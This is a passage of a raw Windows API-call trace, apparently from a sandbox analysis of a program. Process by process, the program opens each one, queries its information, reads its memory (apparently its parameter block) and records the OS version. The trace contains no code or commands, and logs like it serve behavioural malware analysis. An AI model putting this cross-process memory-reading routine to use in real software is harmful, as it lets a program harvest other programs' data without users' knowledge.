lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0263.064] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x371ce0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0263.064] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3718f8, lpBuffer=0x2dc22fc240, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0263.065] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0263.067] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0263.067] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x468020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0263.067] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3712e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0263.068] malloc (_Size=0x6e) returned 0x20abc2831b0 [0263.068] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x37195e, lpBuffer=0x20abc2831b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0263.069] free (_Block=0x20abc2831b0) [0263.069] CloseHandle (hObject=0x16c) returned 1 [0263.070] _ui64tow_s (in: _Value=0xe08, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3592") returned 0x0 [0263.077] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3592") returned 4 [0263.078] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0263.078] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0263.098] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe08) returned 0x16c [0263.098] GetLastError () returned 0x0 [0263.099] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0263.099] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x21e018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0263.100] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0263.100] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5e1d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0263.100] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5e18f8, lpBuffer=0x2dc22fc240, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0263.145] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0263.146] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0263.146] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x21e020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0263.146] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5e12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0263.147] malloc (_Size=0x7a) returned 0x20abc285720 [0263.147] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5e196a, lpBuffer=0x20abc285720, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc285720*, lpNumberOfBytesRead=0x0) returned 1 [0263.148] free (_Block=0x20abc285720) [0263.148] CloseHandle (hObject=0x16c) returned 1 [0263.149] _ui64tow_s (in: _Value=0xe10, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3600") returned 0x0 [0263.154] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3600") returned 4 [0263.155] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0263.155] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0263.174] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe10) returned 0x16c [0263.174] GetLastError () returned 0x0 [0263.175] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0263.175] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2f1018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0263.175] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0263.175] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5c1d90, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0263.176] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5c18f8, lpBuffer=0x2dc22fc240, nSize=0x9e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0263.177] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0263.179] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0263.179] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2f1020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0263.179] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5c12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0263.179] malloc (_Size=0xa6) returned 0x20abc2aa2c0 [0263.179] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5c1996, lpBuffer=0x20abc2aa2c0, nSize=0xa4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aa2c0*, lpNumberOfBytesRead=0x0) returned 1 [0263.180] free (_Block=0x20abc2aa2c0) [0263.181] CloseHandle (hObject=0x16c) returned 1 [0263.181] _ui64tow_s (in: _Value=0xe20, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3616") returned 0x0 [0263.314] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3616") returned 4 [0263.315] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0263.315] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0263.331] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe20) returned 0x16c [0263.332] GetLastError () returned 0x0 [0263.333] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0263.333] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3a6018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0263.333] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0263.333] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x461d50, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0263.333] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4618f8, lpBuffer=0x2dc22fc240, nSize=0x8c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0263.335] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0263.336] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0263.336] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3a6020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0263.337] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4612e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0263.337] malloc (_Size=0x94) returned 0x20abc284e70 [0263.337] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x461984, lpBuffer=0x20abc284e70, nSize=0x92, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc284e70*, lpNumberOfBytesRead=0x0) returned 1 [0263.338] free (_Block=0x20abc284e70) [0263.339] CloseHandle (hObject=0x16c) returned 1 [0263.340] _ui64tow_s (in: _Value=0xe28, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3624") returned 0x0 [0263.344] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3624") returned 4 [0263.346] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0263.346] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0263.408] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe28) returned 0x16c [0263.408] GetLastError () returned 0x0 [0263.409] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0263.409] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3af018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0263.410] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0263.410] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d1d60, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0263.410] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d18f8, lpBuffer=0x2dc22fc240, nSize=0x92, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0263.411] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0263.413] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0263.413] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3af020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0263.413] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0263.413] malloc (_Size=0x9a) returned 0x20abc2aadc0 [0263.414] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d198a, lpBuffer=0x20abc2aadc0, nSize=0x98, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aadc0*, lpNumberOfBytesRead=0x0) returned 1 [0263.415] free (_Block=0x20abc2aadc0) [0263.416] CloseHandle (hObject=0x16c) returned 1 [0263.416] _ui64tow_s (in: _Value=0xe34, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3636") returned 0x0 [0263.422] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3636") returned 4 [0263.423] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0263.423] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0263.439] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe34) returned 0x16c [0263.439] GetLastError () returned 0x0 [0263.440] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0263.440] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x20e018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0263.441] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0263.441] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x541d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0263.441] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5418f8, lpBuffer=0x2dc22fc240, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0263.442] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0263.444] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0263.444] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x20e020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0263.444] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5412e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0263.444] malloc (_Size=0x78) returned 0x20abc282120 [0263.444] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x541968, lpBuffer=0x20abc282120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0263.445] free (_Block=0x20abc282120) [0263.446] CloseHandle (hObject=0x16c) returned 1 [0263.446] _ui64tow_s (in: _Value=0xe3c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3644") returned 0x0 [0263.476] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3644") returned 4 [0263.488] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0263.489] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0263.506] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe3c) returned 0x16c [0263.506] GetLastError () returned 0x0 [0263.507] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0263.507] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2fd018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0263.507] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0263.508] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4d1cf0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0263.508] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4d18f8, lpBuffer=0x2dc22fc240, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0263.509] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0263.511] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0263.511] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2fd020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0263.511] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4d12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0263.547] malloc (_Size=0x72) returned 0x20abc2831b0 [0263.547] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4d1962, lpBuffer=0x20abc2831b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0263.548] free (_Block=0x20abc2831b0) [0263.550] CloseHandle (hObject=0x16c) returned 1 [0263.550] _ui64tow_s (in: _Value=0xe4c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3660") returned 0x0 [0263.562] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3660") returned 4 [0263.563] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0263.563] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0263.584] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe4c) returned 0x16c [0263.584] GetLastError () returned 0x0 [0263.585] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0263.585] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x275018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0263.586] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0263.586] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x151cb0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0263.586] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1518f8, lpBuffer=0x2dc22fc240, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0263.588] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0263.622] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0263.622] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x275020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0263.623] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1512e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0263.623] malloc (_Size=0x60) returned 0x20abc2801b0 [0263.623] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x151950, lpBuffer=0x20abc2801b0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2801b0*, lpNumberOfBytesRead=0x0) returned 1 [0263.623] free (_Block=0x20abc2801b0) [0263.624] CloseHandle (hObject=0x16c) returned 1 [0263.625] _ui64tow_s (in: _Value=0xe5c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="3676") returned 0x0 [0263.629] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="3676") returned 4 [0263.630] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, 